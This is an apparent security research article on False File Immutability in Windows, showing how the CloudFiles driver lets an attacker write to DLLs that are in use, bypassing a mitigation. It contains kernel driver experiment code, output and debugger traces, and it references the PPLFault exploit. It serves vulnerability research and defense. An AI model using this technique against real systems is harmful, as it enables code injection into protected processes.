This research presents an advancement by introducing a more streamlined and self-contained method of exploitation. The novel approach leverages a built-in Windows capability to achieve the same file modification bypass, without the complexities of SMB setups. By analyzing how the kernel driver for this capability processes file data, we uncover a security bypass that enables an attacker to modify files that Windows incorrectly assumes are immutable, leading to a proof-of-concept kernel exploit.

Key Takeaways:

• No Network Redirector Needed: Unlike prior exploits, the new exploitation method exploits False File Immutability without requiring the use of Windows file sharing.
• Built-in Capability Exploited: The exploit leverages a security bypass within a built-in Windows capability that handles cloud file synchronization.
• Immutability Violated: It enables modification of files that the Windows kernel and memory manager incorrectly assume are immutable, leading to a kernel exploit.
• Mitigation Bypassed: It enables attackers to bypass a mitigation that Microsoft created specifically for a prior FFI exploit.
• Forever-Day: Microsoft chose to only patch this exploit in some versions of Windows, so it remains functional on several fully-patched versions of Windows in Mainstream Support as of February 2026.

False file immutability

You may remember False File Immutability from our recent article and BlueHat IL 2024 talk, but if not, then this section should help refresh your memory. If you’re already familiar, feel free to skip to the next section.

When an application opens a file on Windows, it typically uses some form of the Win32 CreateFile API.

HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);

Callers of CreateFile specify the access they want in dwDesiredAccess. For example, a caller would pass FILE_READ_DATA to be able to read data, or FILE_WRITE_DATA to be able to write data. The full set of access rights are documented on the Microsoft Learn website.

In addition to passing dwDesiredAccess, callers must pass a “sharing mode” in dwShareMode, which consists of zero or more of FILE_SHARE_READ, FILE_SHARE_WRITE, and FILE_SHARE_DELETE. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes FILE_SHARE_WRITE allows others to write the file while they are working with it.

As a file is opened, the caller’s dwDesiredAccess is tested against the dwShareMode of all existing file handles. Simultaneously, the caller’s dwShareMode is tested against the previously-granted dwDesiredAccess of all existing handles to that file. If either of these tests fails, then CreateFile fails with a sharing violation.

Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft documentation:

An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.

Sharing is enforced by the filesystem, typically NTFS, but Windows supports other filesystems such as FAT32. Windows itself omits FILE_SHARE_WRITE when opening certain types of files, preventing modification while they are in use. Such unmodifiable files can be considered immutable.

In some situations, the memory manager relies on this immutability. If a page fault occurs within an immutable memory-mapped file, and that page hasn’t been modified, then the memory manager can read that page’s contents directly out of the original backing file. It needn’t save a second copy of the file’s contents to the pagefile because immutability ensures that the file on disk cannot be changed. Executables running in memory, such as EXEs and DLLs, are immutable, so the memory manager can apply this optimization to them.

Network redirectors allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily work with files and run programs off network drives. The kernel transparently redirects any I/O to the remote machine. If a program is launched from a network drive, any EXEs and its DLLs will be transparently pulled from the network as needed.

When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running Samba, or even a Python Impacket script that “speaks” the SMB network protocol. This means the server doesn’t have to honor Windows filesystem sharing semantics. An attacker can employ a network redirector to modify “immutable” files server-side, bypassing sharing restrictions. This means that these files are incorrectly assumed to be immutable. This is a vulnerability class that we are calling False File Immutability (FFI).

Cloud files

Imagine leaving the house to start your day, and there’s a package on your step. It’s that sweet Surface Book you ordered last week. Excited but short on time, you throw it into your bag and head to the gym. After working out to sick beats on your Zune, you head to the local Redmond coffee shop to meet up with a friend you met on Xbox Live. Unfortunately, they’re running late, so you crack open your brand new Surface Book and log into Windows, eager to set up Recall. Despite the mediocre coffee shop Wi-Fi, somehow your entire 1TB OneDrive immediately appears before you. There’s no way you could have downloaded 1TB that quickly, so there must be some witchcraft going on. That witchcraft is Cloud Files.

Introduced in Windows 10 version 1709, Cloud Files enables user-mode applications like OneDrive to register as Cloud Sync Providers and create empty “placeholder” files on the system. Initially, these placeholders are dehydrated (empty). As you access them, the I/O is intercepted by the CloudFiles kernel driver (cldflt.sys), which calls into the provider’s process. The provider can then retrieve the file’s contents from the cloud. It doesn't need to download the entire file at once. If you only need 1MB, it can retrieve just that 1MB. As you request more of the file, it can continue to rehydrate (fill in) the file contents as needed.

When the driver needs to rehydrate a file, it invokes a rehydration callback in the provider’s process (i.e. OneDrive.exe). That callback retrieves the file’s contents (potentially from the cloud) and calls CfExecute to give those contents to the driver, which the driver then writes to the file. CloudFiles will only request rehydration of file regions that aren’t currently hydrated, but it’s possible to dehydrate files to free up space on the current system.

Exploit development

By default, Windows allows for the sharing of files and folders over the network using the Server Message Block (SMB) protocol. If you’ve ever connected to a shared network drive on a corporate network, there’s a good chance that it used SMB. Windows includes both an SMB client and server by default. The client component provides a network redirector, as described above, enabling transparent SMB access to files via any API that accepts file paths. For example, you can run Process Monitor over the internet right now by running \\live.sysinternals.com\Procmon.exe.

We released the PPLFault exploit in May 2023 alongside our Black Hat Asia talk. PPLFault leverages a network redirector to exploit FFI in DLLs loaded into Protected Process Light (PPL) processes. The initial prototype required a second attacker-controlled machine running a malicious SMB server. By disabling Windows’ built-in SMB server, we were able to move the malicious SMB server to the local machine, removing the requirement for a second machine (prototype).

This was still messier than we would like, however, because at the time we incorrectly believed that stopping the Windows built-in SMB server required a reboot. Fortunately, we discovered James Forshaw’s technique of combining the CloudFiles provider with the loopback (localhost) SMB adapter, enabling us to create the final reboot-less exploit. Besides being streamlined, the CloudFiles/SMB pairing is distinct from the prior two exploit versions in that it uses the regular Windows SMB server, which should honor file sharing (i.e. FILE_SHARE_*) semantics. For example, while an SMB client has a file open on a server without FILE_SHARE_WRITE, the server shouldn’t allow another client to open that file for write access. Similarly, the server shouldn’t allow write access to any executables running locally on the server.

We seem to have a contradiction. If PPLFault has to abide by file sharing restrictions, then how is it injecting code into a running DLL? Let’s see what Process Monitor can tell us. Running PPLFault under Process Monitor shows the following three operations (filtered for illustrative purposes). This analysis was done with version 10.0.22621.2861 of cldflt.sys on Windows 11 22631.2861.

In order, the operations are:

1. The victim process, services.exe, loads a DLL as an executable image.
2. After it’s loaded, PPLFault.exe open it.
3. After it’s opened, PPLFault.exe writes to it.

There are a few key observations to make here:

Violation of Immutability
We see a successful write operation to a file while it is loaded as an executable image. In our earlier FFI research, we discussed the MmFlushImageSection check in the file system, which is designed to protect against this very situation. How did it bypass this check?

Violation of the File Access Model
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile states that the file should have been opened with write access, meaning FILE_WRITE_DATA, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which is FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES, and SYNCHRONIZE. Without FILE_WRITE_DATA, how did it overwrite this file?

Let’s try to answer these two questions in the next section.

📘 Nerd Bonus -

Process Monitor installs a filesystem minifilter driver to intercept and log I/O activity on the system. Windows encapsulates I/O actions in structures called I/O Request Packets (IRPs). Each minifilter is assigned an “altitude,” which you can think of as floors in a building. Most IRPs start at the top floor and travel down the stack. If a minifilter issues its own I/O, that IRP starts at its altitude and travels downwards from there. In other words, a minifilter on the sixth floor will never see I/O from the fifth floor. Process Monitor’s minifilter driver runs at altitude 385200. Normally, it will never see the activity of cldflt.sys, which runs at altitude 180451. Fortunately, we can adjust Process Monitor’s altitude with the /altitude switch, placing it below CloudFiles at altitude 180450.

Rules for thee, but not for me

As discussed, applications are subject to file sharing restrictions, but the kernel itself isn’t always restricted in the same way. For example, kernel drivers can use IoCreateFileEx to open or create files.

NTSTATUS IoCreateFileEx(
  [out]          PHANDLE                   FileHandle,
  [in]           ACCESS_MASK               DesiredAccess,
  [in]           POBJECT_ATTRIBUTES        ObjectAttributes,
  [out]          PIO_STATUS_BLOCK          IoStatusBlock,
  [in, optional] PLARGE_INTEGER            AllocationSize,
  [in]           ULONG                     FileAttributes,
  [in]           ULONG                     ShareAccess,
  [in]           ULONG                     Disposition,
  [in]           ULONG                     CreateOptions,
  [in, optional] PVOID                     EaBuffer,
  [in]           ULONG                     EaLength,
  [in]           CREATE_FILE_TYPE          CreateFileType,
  [in, optional] PVOID                     InternalParameters,
  [in]           ULONG                     Options,
  [in, optional] PIO_DRIVER_CREATE_CONTEXT DriverContext
);

IoCreateFileEx looks very similar to the user-facing function NtCreateFile, but its documentation describes some important additional capabilities, including its Options parameter, which supports a flag:

IO_IGNORE_SHARE_ACCESS_CHECK
The I/O manager should not perform share-access checks on the file object after it is created. However, the file system might still perform these checks.

Is it that simple? Can a kernel driver use IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) to open an in-use DLL for write access? Let’s write a kernel driver to try it out. The code in this article is available as a Visual Studio project on GitHub here.

/*
* This experiment shows that a file opened without FILE_SHARE_WRITE 
* can't be modified unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentOne()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L"\\??\\C:\\TestFile.bin");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;

    InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)&filePath, 
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Create a file without FILE_SHARE_WRITE
    // This mimics ntdll!LdrpMapDllNtFileName
    ntStatus = ZwCreateFile(
        &hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_OPEN_IF,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, 
            "ExperimentOne: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n", 
            &filePath, ntStatus);
        goto Cleanup;
    }

    bReportResults = TRUE;

    // IoCreateFileEx without IO_IGNORE_SHARE_ACCESS_CHECK should not be able to open the file
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentOne: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly "
            "succeeded on a write-sharing-denied file\n");
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a 
    // write-sharing-denied file for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    bSuccessful = NT_SUCCESS(ntStatus);

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentOne complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "write-sharing-denied file for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hFile2);
}

Loading it in a VM with test signing enabled yields the following output:

ExperimentOne complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a write-sharing-denied file for FILE_WRITE_DATA. Status: 0x00000000

Did we just come up with a plausible explanation for how PPLFault can modify “immutable” files? Not quite. This experiment was a bit of an over-simplification, but it shows IO_IGNORE_SHARE_ACCESS_CHECK in action, proving that kernel APIs can provide more freedom than their user-mode counterparts.

In PPLFault, CloudFiles isn’t just modifying a file with write-sharing-denied handles. Rather, it’s modifying a DLL while it’s mapped in memory as an executable image. Let’s try another experiment that’s a little closer to the PPLFault scenario. In experiment two, we will emulate LoadLibrary by opening a DLL, creating a SEC_IMAGE section, and then mapping a view of that section into memory. Once the view is mapped, we will close the handles and test whether IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) can get a writable handle.

Let’s start with a helper function that maps a PE as an image section, similar to LoadLibrary. We’ll do this in the kernel to keep the experiment in a single driver, but note that it’s functionally equivalent to LoadLibrary for our purposes.

// Emulate a portion of LoadLibrary
NTSTATUS MapFileAsImageSection(
    PCUNICODE_STRING pPath,
    HANDLE* phFile,
    HANDLE* phSection,
    PVOID* ppMappedBase
)
{
    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    PVOID pMappedBase = NULL;
    SIZE_T viewSize = 0;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};

    InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)pPath,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtOpenFile(&FileHandle, 0x100021u, &ObjectAttributes, &IoStatusBlock, 5u, 0x60u);
    ntStatus = ZwOpenFile(
        &hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &objAttr, &iosb,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtCreateSection(&Handle, 0xDu, 0LL, 0LL, 0x10u, v18, FileHandle);
    ntStatus = ZwCreateSection(&hSection,
        SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
        &objAttr, NULL, PAGE_EXECUTE, SEC_IMAGE, hFile
    );
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwCreateSection %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    // From ntdll!LdrpMinimalMapModule
    // Map a view of this SEC_IMAGE section into lower half of the the System process address space
    ntStatus = ZwMapViewOfSection(
        hSection, ZwCurrentProcess(), &pMappedBase, 0, 0, NULL,
        &viewSize, ViewShare, 0, PAGE_EXECUTE_WRITECOPY);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwMapViewOfSection %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    // Move ownership to output parameters and prevent cleanup
    *ppMappedBase = pMappedBase;
    pMappedBase = NULL;

    *phFile = hFile;
    hFile = NULL;

    *phSection = hSection;
    hSection = NULL;

Cleanup:
    HandleDelete(hFile);
    HandleDelete(hSection);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }

    return ntStatus;
}

Now let’s use that helper to map a DLL, then see if we can write to it with IO_IGNORE_SHARE_ACCESS_CHECK:

/*
* This experiment shows that a file opened without FILE_SHARE_WRITE can't be 
* modified even if IO_IGNORE_SHARE_ACCESS_CHECK is used because the file has 
* an associated active SEC_IMAGE section.
*/
VOID ExperimentTwo()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L"\\SystemRoot\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;

    ntStatus = MapFileAsImageSection(
        &filePath, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    // MmFlushImageSection should return FALSE. This is what fails the FILE_WRITE_DATA request below.
    // MmFlushImageSection requires SECTION_OBJECT_POINTERS, which we can get from the FILE_OBJECT.
    ntStatus = ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, (PVOID*)&pFileObject, NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: ObReferenceObjectByHandle %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    if (MmFlushImageSection(pFileObject->SectionObjectPointer, MmFlushForWrite))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MmFlushImageSection unexpectedly succeeded %wZ\n",
            &filePath);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, close the file and section handles to remove them from the equation
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    ReferenceDelete(pFileObject);
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentTwo complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "file backing a local SEC_IMAGE section for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    ReferenceDelete(pFileObject);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}

Running this experiment yields the following output:

ExperimentTwo complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CANNOT open a file backing a local SEC_IMAGE section for FILE_WRITE_DATA. Status: 0xc0000043

In this case, IoCreateFileEx failed with 0xC0000043 (STATUS_SHARING_VIOLATION) because files mapped as executable images have additional protections to ensure they remain immutable, even without any open handles. You can see this check using the MmFlushImageSection API in the Microsoft FastFat sample driver code, but it exists in other file systems as well, including NTFS:

//
//  If the user wants write access access to the file make sure there
//  is not a process mapping this file as an image.  [ ... ]
//
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {

    [ ... ] 
    
    if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
                              MmFlushForWrite )) {

        Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
                                      STATUS_SHARING_VIOLATION;
        try_return( Iosb );
    }
}

The IO_IGNORE_SHARE_ACCESS_CHECK flag bypasses I/O manager checks, but not the MmFlushImageSection check in the filesystem. Re-reading the description of IO_IGNORE_SHARE_ACCESS_CHECK, it’s obvious in hindsight:

IO_IGNORE_SHARE_ACCESS_CHECK
The I/O manager should not perform share-access checks on the file object after it is created. However, the file system might still perform these checks.

ExperimentTwo isn’t exactly a fair representation of PPLFault, which loads the DLL from a network drive. When a network client opens a file on a server, the SMB client driver allocates a File Control Block (FCB) structure representing that logical file. Correspondingly, the server opens the file with the requested share modes and allocates its own FCB. This means that there’s two distinct FCBs in play with different semantics. When the client maps a DLL into memory as an executable, the resulting SEC_IMAGE file mapping (aka section) is associated with its FCB so it gains the protection of MmFlushImageSection. The server does not correspondingly create an image section, so its FCB gains no such protection. PPLFault exploits this difference by performing the writes to the server’s FCB, bypassing the MmFlushImageSection check.

Let’s try this out in ExperimentThree:

/*
* This experiment shows that a file loaded as a DLL by an SMB client can't be modified
* server-side unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentThree()
{
    DECLARE_CONST_UNICODE_STRING(filePathLocal, 
        L"\\SystemRoot\\System32\\TestDll.dll");
    DECLARE_CONST_UNICODE_STRING(filePathSMB, 
        L"\\Device\\Mup\\127.0.0.1\\c$\\Windows\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;

    ntStatus = MapFileAsImageSection(
        &filePathSMB, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePathSMB, ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles to remove them from the equation.
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the 
    // MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, 
        (PUNICODE_STRING)&filePathLocal, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    bReportResults = TRUE;

    // Can IoCreateFileEx() open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly succeeded "
            "on a file mapped as SEC_IMAGE remotely by an SMB client\n");
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open
    // a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}

ExperimentThree generates the following output:

ExperimentThree complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. Status: 0x00000000

ExperimentThree above shows how kernel drivers are able to modify DLLs mapped by SMB clients by using the IO_IGNORE_SHARE_ACCESS_CHECK flag on the server’s version of that file.

Roll up your sleeves

We’ve just shown what’s possible, but we still don’t know what Cloud Files is actually doing. Let’s dig deeper into the Process Monitor output to answer the questions raised earlier.

Earlier, we asked two questions:

Violation of Immutability
We see a successful write operation to a file while it is loaded as an executable image. In our earlier FFI research, we discussed the MmFlushImageSection check in the file system, which is designed to protect against this very situation. How did it bypass this check?

Violation of the File Access Model
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile states that the file should have been opened with write access, meaning FILE_WRITE_DATA, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which is FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES, and SYNCHRONIZE. Without FILE_WRITE_DATA, how did it overwrite this file?

We can easily explain the MmFlushImageSection bypass. That check looks for FILE_WRITE_DATA, which wasn’t used here. The file was only opened for “Read Attributes, Write Attributes, Synchronize.” We can’t explain the violation of the file access model, however. How did it overwrite a non-writable file? Let’s zoom in on the call stack for that WriteFile operation to try to find out.

In the call stack, we can see line 176 of PPLFault.cpp calling cldapi.dll!CfExecute (rows 24-25) from user-mode. This eventually results in cldflt.sys!HsmiRecallWriteFileNoLock calling FltWriteFileEx. FltWriteFileEx is somehow able to write to a file that’s not opened for write access. Let’s attach a kernel debugger and take a closer look.

Setting a breakpoint on FltWriteFileEx and re-running the exploit, we can break at the call from HsmiRecallWriteFileNoLock:

2: kd> bp fltmgr!FltWriteFileEx
2: kd> g
Breakpoint 0 hit
FLTMGR!FltWriteFileEx:
fffff800`425aad40 4055            push    rbp
0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffb90e`faa968e8 fffff800`5c2878d3     FLTMGR!FltWriteFileEx
01 ffffb90e`faa968f0 fffff800`5c2b2ccc     cldflt!HsmiRecallWriteFileNoLock+0x2df
02 ffffb90e`faa969f0 fffff800`5c2b25f8     cldflt!HsmRecallTransferData+0x25c
03 ffffb90e`faa96aa0 fffff800`5c2b35d7     cldflt!CldStreamTransferData+0x65c
04 ffffb90e`faa96bd0 fffff800`5c27196c     cldflt!CldiSyncTransferOrAckDataByObject+0x4c7
05 ffffb90e`faa96cb0 fffff800`5c2bb568     cldflt!CldiSyncTransferOrAckData+0xdc
06 ffffb90e`faa96d10 fffff800`5c2bafe1     cldflt!CldiPortProcessTransferData+0x46c
07 ffffb90e`faa96db0 fffff800`5c27895a     cldflt!CldiPortProcessTransfer+0x291
08 ffffb90e`faa96e50 fffff800`4259530a     cldflt!CldiPortNotifyMessage+0xd9a
09 ffffb90e`faa96f70 fffff800`425cf299     FLTMGR!FltpFilterMessage+0xda
0a ffffb90e`faa96fd0 fffff800`42597e60     FLTMGR!FltpMsgDispatch+0x179
0b ffffb90e`faa97040 fffff800`3eaebef5     FLTMGR!FltpDispatch+0xe0
0c ffffb90e`faa970a0 fffff800`3ef40060     nt!IofCallDriver+0x55
0d ffffb90e`faa970e0 fffff800`3ef41a90     nt!IopSynchronousServiceTail+0x1d0
0e ffffb90e`faa97190 fffff800`3ef41376     nt!IopXxxControlFile+0x700
